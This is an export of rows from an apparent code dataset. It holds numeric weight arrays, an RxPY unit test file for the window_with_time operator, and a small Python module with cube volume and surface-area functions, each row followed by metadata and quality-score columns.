-0.433, 0.03363, 0.05624, 0.4507, 1.126, -0.015434, 0.2634, -0.6665, 0.3357, 0.3196, -0.3105, -0.379, -1.774, -0.02397, -0.2349, -0.0129, -0.1826, 0.3225, -0.095, 0.0836, -0.09235], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1753, 0.05237, -0.02324, 0.0397, -0.00838, -0.01067, -0.04507, 0.0362, 0.04398, -0.02303, -0.05698, -0.01944, 0.0655, 0.0321, -0.03775, -0.005383, -0.1522, 0.006668, -0.007576, 0.06238, -0.0743, -0.1506, -0.5054, 0.02171, -0.09735, 0.2402, -0.01418, -0.3481, 0.1213, -0.1526, -0.11414, 0.1173, 0.0355, -0.00955, -0.06, 0.1713, 0.04446, 0.07227, -0.1029, -0.0804, 0.0788, 0.0006804, 0.04962, 0.1493, 8.3e-05, -0.2834, -0.07745, -0.06018, -0.286, -0.1332], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.2754, 0.3699, -1.398, 0.1846, 0.0211, -0.5435, 0.697, 0.1122, 0.3572, 0.2379, -0.0932, 0.3447, -0.669, 1.504, -0.01628, -0.5366, -0.8853, -0.3699, -0.06915, -0.341, 0.1273, -0.11615, 0.0923, 0.1656, -0.3606, -0.1236, -0.2444, 1.576, 0.9473, 0.0982, -0.0006967, -0.303, 0.132, 0.4927, -1.1045, -0.2235, -0.03705, -2.018, 0.2324, -0.10376, 0.00566, 0.1403, 0.10504, -0.9336, -0.04947, -0.824, 0.9736, -1.13, -0.3125, -0.02144], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.03983, 0.01495, 0.03287, -0.08026, -0.01605, -0.2188, 0.04456, -0.2673, -1.857, 0.0144, -0.2566, 0.6187, 0.1273, -0.3223, -0.00385, 0.108, -0.01056, -0.00692, 0.0873, 0.1304, 0.0445, 0.2744, -0.06757, 0.00964, -0.042, -0.648, -0.11945, -0.03577, -0.1406, -0.007675, 0.1214, -0.03111, -0.1002, -0.02008, 0.1147, -0.03345, -0.1311, 0.0908, 0.5127, -0.1694, 0.06198, -0.06354, 0.03665, 0.1257, -0.003223, 0.08636, 0.216, 0.08527, 0.02188, 0.1718], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0791, -0.04715, -1.152, -0.00109, 0.04266, 0.03702, 0.1268, -0.02174, 0.1279, -0.3022, -0.12335, 0.02264, 0.04288, 0.05737, -0.01575, -0.377, -0.04208, -0.0704, 0.0643, 0.0348, -0.009766, -0.04456, -0.0777, 0.002073, 0.004147, -0.8276, -0.006004, 0.078, 0.1006, 0.0996, -0.0918, 0.1294, 0.297, 0.07043, -0.05707, -0.06073, -0.05878, -0.3154, 0.1015, 0.0832, -0.1271, -0.014404, -0.0227, -0.0795, -0.02214, -0.02554, 0.1765, -0.02705, 0.2064, 0.002632], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.07245, 0.05258, -0.11456, 0.01273, -0.01929, 0.02731, 0.08453, 0.386, -0.685, 0.244, -0.521, -0.6396, 0.564, 0.2266, -0.015236, 0.3005, -0.1771, 0.2104, 0.1781, -0.9453, -0.8794, 0.731, 0.02733, -0.1716, -1.227, 1.871, -0.1774, 0.67, -1.386, 0.0979, -0.3123, 0.3525, -1.001, -0.6465, 0.326, 0.1426, 0.3535, 0.2942, 0.12366, -0.311, 0.0852, 0.1709, 0.309, -0.03915, -0.0337, -1.269, -1.082, 0.04425, 0.4575, -0.2325], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.695, -0.2335, -0.1652, 0.05313, 0.0139, 0.00994, 0.00873, 0.01743, -0.2203, -0.01697, -0.1126, 0.0932, -0.1218, -0.05002, 0.0462, 0.216, 0.00917, -0.1385, -0.1622, -0.146, -0.010185, -0.291, -0.02478, -0.0936, -0.0882, -5.44, -0.0863, 0.2151, 0.0429, -0.02733, -0.03192, -0.01717, 0.1526, -7.06, -0.0699, -0.06976, 0.07104, 0.297, -0.09094, -0.06744, 0.02856, -0.000888, -0.06964, 0.1782, 0.02574, -0.1719, -0.162, -0.09204, -0.01298, -0.08374], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.1969, -0.0553, -0.012, -0.003633, -0.02599, 0.0071, 0.09247, 0.217, -0.1543, 0.0367, -0.0663, -0.04773, 0.0851, -0.1342, -0.00582, 0.0634, 0.04562, -0.0268, 0.06204, -0.2472, -0.04468, 0.1312, -0.0749, -0.01107, 0.06915, 0.7036, 0.01614, 1.079, -0.06854, -0.07196, 0.07294, 0.093, 0.3467, 0.06287, -0.1544, 0.004528, 0.1398, 0.2019, 0.2303, -0.358, -0.0774, 0.0859, 0.11035, -0.01712, -0.005795, -0.2434, -0.03017, -0.1543, -0.09753, 0.01432]]
[0.244853, 1.30357, 0.0646306, 0.680997, 0.310184, 0.0342837, 0.201764, 0.00272276, 0.212039, -1.02795, 0.224783, 0.0583386, -0.625767, -0.00839886, -0.238916, -0.495479, -0.0195604, -0.698142, -1.5396, -0.0367355, -0.807528, -1.84656, -0.781017, -0.654097, 0.108214, -2.92195, 0.255738, -1.61706, -0.321168, -1.25296, -0.714201, -0.40668, -0.276157, -0.767022, -0.61883, -0.0702858, 0.0304982, 0.228073, -0.0493086, 0.0909944, -0.0539395, -0.783155, -0.460469, 0.320039, -0.986841, -1.10824, -0.216764, 0.935595, 0.204167, -0.325022, 0.2449, 1.304, 0.06464, 0.681, 0.3103, 0.03427, 0.2018, 0.002724, 0.212, -1.028, 0.2247, 0.05835, -0.626, -0.0084, -0.2389, -0.4954, -0.01956, -0.698, -1.54, -0.03674, -0.8076, -1.847, -0.7812, -0.6543, 0.1082, -2.922, 0.2559, -1.617, -0.3213, -1.253, -0.7144, -0.4067, -0.2761, -0.767, -0.6187, -0.0703, 0.0305, 0.228, -0.04932, 0.091, -0.05392, -0.783, -0.4604, 0.32, -0.987, -1.108, -0.2168, 0.9355, 0.2042, -0.325]
Affine
[[-0.0185953, -0.062748, 0.0247702, 0.0588558, -0.0197455, -0.00769524, 0.0066909, 0.0140011, 0.0336386, 0.012266, -0.0195493, -0.0124199, 0.0314351, 0.0283556, 0.0263525, -0.0821106, -0.0112838, -0.0103695, -0.00265289, 0.000549294, 0.0492102, 0.0137177, -0.0257622, 0.122656, 0.000481334, 0.0227944, -0.000544254, 0.0388313, 0.0264814, -0.0128684, 0.00143338, 0.0135353, 0.00599119, -0.0210878, 0.0101197, 0.0463524, 0.00185498, 0.0123993, -0.0137894, 0.0258723, -0.00954009, -0.00651014, 0.0222861, -0.00751212, -0.00125046, 0.0439831, 0.0109494, -0.00304785, 0.00532306, 0.0305095, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00307721, -0.00103904, 0.0190703, 0.00250235, -0.0216586, 0.0368648, -0.0111122, 0.0265741, 0.0192758, 0.0186232, -5.02078e-05, -0.00898874, 0.0305097, 0.0317033, 0.0224713, -0.000917129, -0.0193107, -0.0534431, -0.00356501, -0.00496697, 0.047258, 0.109241, -0.0360561, 0.00433752, 0.00133595, 6.91387e-06, 0.00357152, 0.0105708, 0.0395358, -0.0193915, -0.00385285, 0.0225666, 0.00991486, -0.0194106, 0.0123049, 0.0551719, -0.00723646, 0.00297826, -0.0274473, 0.0328584, 0.00058961, -0.001693, 0.0113748, -0.00894765, -0.0146204, 0.0420852, 0.0647709, -0.00133072, 0.00843191, 0.0253243, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00994671, 0.00427555, 0.0277981, -0.000997545, -0.0377301, -0.00834851, 0.0414061, 0.00429609, 0.0472509, 0.000409657, 0.00194812, -0.0124183, 0.0354391, 0.0250482, 0.0236596, 0.00284641, -0.030031, 0.00646895, -0.0043634, 0.0177336, 0.0497375, 0.100049, -0.009254, 3.86598e-06, -0.0177706, -0.00171093, 0.00199866, -0.000533453, 0.0132497, -0.008776, -0.00841617, 0.0147234, -0.00327648, -0.00310649, 0.0169509, 0.0509786, 0.0456801, -0.0227807, 0.0487699, 0.0310297, -0.00155125, -0.0197217, 0.00826467, 0.0261938, 0.0155134, 0.0404631, -0.00440827, -0.0082103, 0.00781778, 0.0382244, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.00629973, -0.000746784, -0.0127274, 0.00127671, -0.00508876, 0.0418624, -0.0436832, 0.0302401, 0.00669992, 0.0462917, -0.00201795, 0.00241012, 0.0134426, 0.0103271, 0.0230568, 0.00125199, -0.0142659, -0.0660994, 0.000190321, -0.0201207, 0.0512695, 0.0881874, -0.0659837, 0.00139149, -0.00459951, 1.14671e-05, 0.0163037, 0.00699884, 0.0515396, -0.0307143, -0.0127309, 0.0237152, 0.0240555, -0.0225999, 0.0145966, 0.0422518, -0.0072259, 0.0271091, 0.0540618, 0.0323507, 0.00667241, 0.00358557, 0.00720199, -0.017322, -0.0300119, 0.0416073, 0.0784574, 0.000255327, 0.00687472, 0.01566, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0191128, 0.000734772, 0.0171267, 0.000678124, 0.0107303, 0.00128324, 0.0700301, -0.00335777, 0.0321968, -0.00849972, -0.00053357, -0.0147428, 0.0105899, 0.00705798, 0.0253457, 0.00624073, -0.0152621, -0.00414639, -0.0234915, 0.0260935, 0.0473395, 0.0311201, 0.0124451, -0.00402202, 0.0235043, 0.000271299, 0.0358013, -0.00904511, -0.00582512, 0.00252031, 0.021523, 0.00318901, -0.0144921, 0.00111096, 0.0254866, 0.0234982, 0.0174117, 0.0207916, 0.0247354, 0.0251496, -0.0234213, -0.0280667, -0.0104135, 0.0395246, 0.0243683, 0.0465959, 0.000259671, -0.0186349, -0.0223913, 0.0539064, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, -0.0186, -0.06274, 0.02477, 0.05887, -0.01974, -0.007694, 0.00669, 0.014, 0.03363, 0.01227, -0.01955, -0.01242, 0.03143, 0.02835, 0.02635, -0.0821, -0.011284, -0.01037, -0.002653, 0.0005493, 0.04922, 0.01372, -0.02576, 0.1227, 0.0004814, 0.0228, -0.000544, 0.03882, 0.02647, -0.01287, 0.001433, 0.013535, 0.005993, -0.02109, 0.01012, 0.04636, 0.001855, 0.0124, -0.01379, 0.02588, -0.00954, -0.00651, 0.0223, -0.00751, -0.00125, 0.04398, 0.01095, -0.003048, 0.00532, 0.0305], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.003077, -0.0010395, 0.01907, 0.002502, -0.02165, 0.03687, -0.01111, 0.02658, 0.01927, 0.01862, -5.02e-05, -0.00899, 0.0305, 0.0317, 0.02248, -0.000917, -0.01932, -0.05344, -0.003565, -0.004967, 0.04727, 0.10925, -0.03604, 0.004337, 0.001336, 6.9e-06, 0.003572, 0.010574, 0.03955, -0.0194, -0.003853, 0.02257, 0.00992, -0.01941, 0.01231, 0.05518, -0.007236, 0.002977, -0.02745, 0.03287, 0.00059, -0.001693, 0.011375, -0.00895, -0.01462, 0.04208, 0.06476, -0.00133, 0.00843, 0.02533], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.00995, 0.004276, 0.0278, -0.000998, -0.03772, -0.00835, 0.0414, 0.004295, 0.04724, 0.0004096, 0.001948, -0.01242, 0.03543, 0.02505, 0.02367, 0.002846, -0.03003, 0.00647, -0.004364, 0.01773, 0.04974, 0.10004, -0.009254, 3.9e-06, -0.01778, -0.001711, 0.001999, -0.0005336, 0.01325, -0.00877, -0.008415, 0.014725, -0.003277, -0.003107, 0.01695, 0.05096, 0.0457, -0.02278, 0.04877, 0.03104, -0.001552, -0.01971, 0.00826, 0.0262, 0.01551, 0.04047, -0.00441, -0.00821, 0.00782, 0.03824], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.006298, -0.0007467, -0.012726, 0.001277, -0.00509, 0.04187, -0.04367, 0.03024, 0.0067, 0.0463, -0.002018, 0.00241, 0.01344, 0.01033, 0.02306, 0.001252, -0.01427, -0.0661, 0.0001904, -0.02013, 0.05127, 0.0882, -0.066, 0.001391, -0.0046, 1.144e-05, 0.0163, 0.007, 0.05154, -0.03072, -0.01273, 0.02371, 0.02406, -0.0226, 0.014595, 0.04227, -0.007225, 0.02711, 0.05405, 0.03235, 0.00667, 0.003586, 0.007202, -0.01732, -0.03001, 0.0416, 0.0784, 0.0002553, 0.006874, 0.01566], [0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.0, 0.01912, 0.000735, 0.01712, 0.000678, 0.01073, 0.001284, 0.07, -0.003357, 0.0322, -0.0085, -0.0005336, -0.01474, 0.01059, 0.007057, 0.02534, 0.00624, -0.01526, -0.004147, -0.0235, 0.0261, 0.04733, 0.03111, 0.01244, -0.00402, 0.0235, 0.0002713, 0.0358, -0.00905, -0.005825, 0.00252, 0.02153, 0.00319, -0.014496, 0.001111, 0.02548, 0.0235, 0.01741, 0.0208, 0.02473, 0.02515, -0.02342, -0.02806, -0.010414, 0.03952, 0.02437, 0.0466, 0.0002596, -0.01863, -0.02238, 0.0539]]
[0.0268117, 0.0258377, -0.00943752, 0.0205669, -0.0214738, 0.02681, 0.02583, -0.00944, 0.02057, -0.02147]
| 17,489.181818
| 74,518
| 0.554875
| 104,247
| 384,762
| 2.047973
| 0.182566
| 0.477369
| 0.708888
| 0.935741
| 0.241996
| 0.241781
| 0.241781
| 0.241781
| 0.241781
| 0.241781
| 0
| 0.64166
| 0.135453
| 384,762
| 21
| 74,519
| 18,322
| 0.00015
| 0
| 0
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
407698ef334bede720bef232620b096f8277778d
| 6,608
|
py
|
Python
|
tests/test_observable/test_windowwithtime.py
|
Affirm/RxPY
|
7c23939ea497761c85b382257f9f0954998ab91e
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
tests/test_observable/test_windowwithtime.py
|
Affirm/RxPY
|
7c23939ea497761c85b382257f9f0954998ab91e
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
tests/test_observable/test_windowwithtime.py
|
Affirm/RxPY
|
7c23939ea497761c85b382257f9f0954998ab91e
|
[
"ECL-2.0",
"Apache-2.0"
] | null | null | null |
import unittest
from rx import Observable
from rx.testing import TestScheduler, ReactiveTest
on_next = ReactiveTest.on_next
on_completed = ReactiveTest.on_completed
on_error = ReactiveTest.on_error
subscribe = ReactiveTest.subscribe
subscribed = ReactiveTest.subscribed
disposed = ReactiveTest.disposed
created = ReactiveTest.created
class TestWindowWithTime(unittest.TestCase):
def test_window_time_basic(self):
scheduler = TestScheduler()
xs = scheduler.create_hot_observable(
on_next(150, 1),
on_next(210, 2),
on_next(240, 3),
on_next(270, 4),
on_next(320, 5),
on_next(360, 6),
on_next(390, 7),
on_next(410, 8),
on_next(460, 9),
on_next(470, 10),
on_completed(490)
)
def create():
def selector(ys, i):
def proj(y):
return "%s %s" % (i, y)
return ys.map(proj).concat(Observable.return_value('%s end' % i))
return xs.window_with_time(100, scheduler=scheduler).map(selector).merge_observable()
results = scheduler.start(create)
results.messages.assert_equal(
on_next(210, "0 2"),
on_next(240, "0 3"),
on_next(270, "0 4"),
on_next(300, "0 end"),
on_next(320, "1 5"),
on_next(360, "1 6"),
on_next(390, "1 7"),
on_next(400, "1 end"),
on_next(410, "2 8"),
on_next(460, "2 9"),
on_next(470, "2 10"),
on_next(490, "2 end"),
on_completed(490)
)
xs.subscriptions.assert_equal(subscribe(200, 490))
def test_window_time_basic_both(self):
scheduler = TestScheduler()
xs = scheduler.create_hot_observable(
on_next(150, 1),
on_next(210, 2),
on_next(240, 3),
on_next(270, 4),
on_next(320, 5),
on_next(360, 6),
on_next(390, 7),
on_next(410, 8),
on_next(460, 9),
on_next(470, 10),
on_completed(490)
)
def create():
def selector(ys, i):
def proj(y):
return "%s %s" % (i, y)
return ys.map(proj).concat(Observable.return_value('%s end' % i))
return xs.window_with_time(100, 50, scheduler).map(selector).merge_observable()
results = scheduler.start(create)
results.messages.assert_equal(on_next(210, "0 2"), on_next(240, "0 3"), on_next(270, "0 4"), on_next(270, "1 4"), on_next(300, "0 end"), on_next(320, "1 5"), on_next(320, "2 5"), on_next(350, "1 end"), on_next(360, "2 6"), on_next(360, "3 6"), on_next(390, "2 7"), on_next(390, "3 7"), on_next(400, "2 end"), on_next(410, "3 8"), on_next(410, "4 8"), on_next(450, "3 end"), on_next(460, "4 9"), on_next(460, "5 9"), on_next(470, "4 10"), on_next(470, "5 10"), on_next(490, "4 end"), on_next(490, "5 end"), on_completed(490))
xs.subscriptions.assert_equal(subscribe(200, 490))
def test_window_with_time_basic(self):
scheduler = TestScheduler()
xs = scheduler.create_hot_observable(on_next(100, 1), on_next(210, 2), on_next(240, 3), on_next(280, 4), on_next(320, 5), on_next(350, 6), on_next(380, 7), on_next(420, 8), on_next(470, 9), on_completed(600))
def create():
def selector(w, i):
return w.map(lambda x: "%s %s" % (i, x))
return xs.window_with_time(100, 70, scheduler=scheduler).map(selector).merge_observable()
results = scheduler.start(create)
results.messages.assert_equal(on_next(210, "0 2"), on_next(240, "0 3"), on_next(280, "0 4"), on_next(280, "1 4"), on_next(320, "1 5"), on_next(350, "1 6"), on_next(350, "2 6"), on_next(380, "2 7"), on_next(420, "2 8"), on_next(420, "3 8"), on_next(470, "3 9"), on_completed(600))
xs.subscriptions.assert_equal(subscribe(200, 600))
def test_window_with_time_error(self):
ex = 'ex'
scheduler = TestScheduler()
xs = scheduler.create_hot_observable(on_next(100, 1), on_next(210, 2), on_next(240, 3), on_next(280, 4), on_next(320, 5), on_next(350, 6), on_next(380, 7), on_next(420, 8), on_next(470, 9), on_error(600, ex))
def create():
def selector(w, i):
return w.map(lambda x: "%s %s" % (i, x))
return xs.window_with_time(100, 70, scheduler=scheduler).map(selector).merge_observable()
results = scheduler.start(create)
results.messages.assert_equal(on_next(210, "0 2"), on_next(240, "0 3"), on_next(280, "0 4"), on_next(280, "1 4"), on_next(320, "1 5"), on_next(350, "1 6"), on_next(350, "2 6"), on_next(380, "2 7"), on_next(420, "2 8"), on_next(420, "3 8"), on_next(470, "3 9"), on_error(600, ex))
xs.subscriptions.assert_equal(subscribe(200, 600))
def test_Window_with_time_disposed(self):
scheduler = TestScheduler()
xs = scheduler.create_hot_observable(on_next(100, 1), on_next(210, 2), on_next(240, 3), on_next(280, 4), on_next(320, 5), on_next(350, 6), on_next(380, 7), on_next(420, 8), on_next(470, 9), on_completed(600))
def create():
def selector(w, i):
return w.map(lambda x: "%s %s" % (i, x))
return xs.window_with_time(100, 70, scheduler=scheduler).map(selector).merge_observable()
results = scheduler.start(create, disposed=370)
results.messages.assert_equal(on_next(210, "0 2"), on_next(240, "0 3"), on_next(280, "0 4"), on_next(280, "1 4"), on_next(320, "1 5"), on_next(350, "1 6"), on_next(350, "2 6"))
xs.subscriptions.assert_equal(subscribe(200, 370))
def test_window_with_time_basic_same(self):
scheduler = TestScheduler()
xs = scheduler.create_hot_observable(on_next(100, 1), on_next(210, 2), on_next(240, 3), on_next(280, 4), on_next(320, 5), on_next(350, 6), on_next(380, 7), on_next(420, 8), on_next(470, 9), on_completed(600))
def create():
def selector(w, i):
return w.map(lambda x: "%s %s" % (i, x))
return xs.window_with_time(100, scheduler=scheduler).map(selector).merge_observable()
results = scheduler.start(create)
results.messages.assert_equal(on_next(210, "0 2"), on_next(240, "0 3"), on_next(280, "0 4"), on_next(320, "1 5"), on_next(350, "1 6"), on_next(380, "1 7"), on_next(420, "2 8"), on_next(470, "2 9"), on_completed(600))
xs.subscriptions.assert_equal(subscribe(200, 600))
| 44.648649
| 532
| 0.587167
| 1,020
| 6,608
| 3.596078
| 0.087255
| 0.211014
| 0.030534
| 0.032715
| 0.831788
| 0.817339
| 0.7988
| 0.7988
| 0.793893
| 0.793893
| 0
| 0.136373
| 0.253178
| 6,608
| 147
| 533
| 44.952381
| 0.60689
| 0
| 0
| 0.622807
| 0
| 0
| 0.04207
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 1
| 0.175439
| false
| 0
| 0.026316
| 0.052632
| 0.333333
| 0
| 0
| 0
| 0
| null | 1
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
40873b3439f6264a00d8e41be1c314509f74f2f2
| 98
|
py
|
Python
|
9 Modul dan Package/Bangun_Ruang.py
|
Rakhid16/pibiti-himatifa-2020
|
734ae59d0ffb3cf41d14fe4fbcaba7b317f5c870
|
[
"Apache-2.0"
] | null | null | null |
9 Modul dan Package/Bangun_Ruang.py
|
Rakhid16/pibiti-himatifa-2020
|
734ae59d0ffb3cf41d14fe4fbcaba7b317f5c870
|
[
"Apache-2.0"
] | null | null | null |
9 Modul dan Package/Bangun_Ruang.py
|
Rakhid16/pibiti-himatifa-2020
|
734ae59d0ffb3cf41d14fe4fbcaba7b317f5c870
|
[
"Apache-2.0"
] | null | null | null |
def volume_kubus(sisi):
return sisi ** 3
def luas_permukaan_kubus(sisi):
return sisi ** 2 * 6
| 19.6
| 31
| 0.704082
| 16
| 98
| 4.125
| 0.625
| 0.272727
| 0.454545
| 0.575758
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.0375
| 0.183673
| 98
| 5
| 32
| 19.6
| 0.7875
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 8
|
